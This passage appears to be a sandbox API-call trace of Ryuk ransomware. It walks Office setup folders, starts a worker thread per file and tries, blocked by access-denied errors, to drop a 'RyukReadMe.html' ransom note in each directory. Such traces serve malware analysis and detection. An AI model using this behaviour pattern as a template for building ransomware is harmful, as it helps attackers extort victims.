	[0165.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0165.873] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.874] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.874] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.874] SetLastError (dwErrCode=0x0) 
	[0165.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.875] GetLastError () returned 0x5
	[0165.875] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.875] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1
	[0165.875] SetLastError (dwErrCode=0x0) 
	[0165.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.875] GetLastError () returned 0x5
	[0165.876] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.878] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.878] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0165.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0165.880] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.881] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0165.885] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.885] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.885] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.886] SetLastError (dwErrCode=0x0) 
	[0165.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.886] GetLastError () returned 0x5
	[0165.886] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.886] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0165.886] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1
	[0165.886] SetLastError (dwErrCode=0x0) 
	[0165.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.887] GetLastError () returned 0x5
	[0165.887] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.887] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0166.078] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.078] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0166.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0166.080] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.081] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1
	[0166.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0166.083] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.084] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0
	[0166.084] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0166.084] SetLastError (dwErrCode=0x0) 
	[0166.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.085] GetLastError () returned 0x5
	[0166.085] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.085] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1
	[0166.085] SetLastError (dwErrCode=0x0) 
	[0166.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.085] GetLastError () returned 0x5
	[0166.085] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0166.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.086] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0166.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0166.089] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.089] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1
	[0166.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0166.092] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.092] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xbe, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0
	[0166.092] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0166.092] SetLastError (dwErrCode=0x0) 
	[0166.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.093] GetLastError () returned 0x5
	[0166.093] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.093] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1
	[0166.093] SetLastError (dwErrCode=0x0) 
	[0166.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.094] GetLastError () returned 0x5
	[0166.094] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0166.096] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.096] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0166.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0166.099] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.100] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xbe, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1
	[0166.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0166.103] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.104] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xbe, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0
	[0166.104] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0166.104] SetLastError (dwErrCode=0x0) 
	[0166.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.104] GetLastError () returned 0x5
	[0166.105] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0166.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
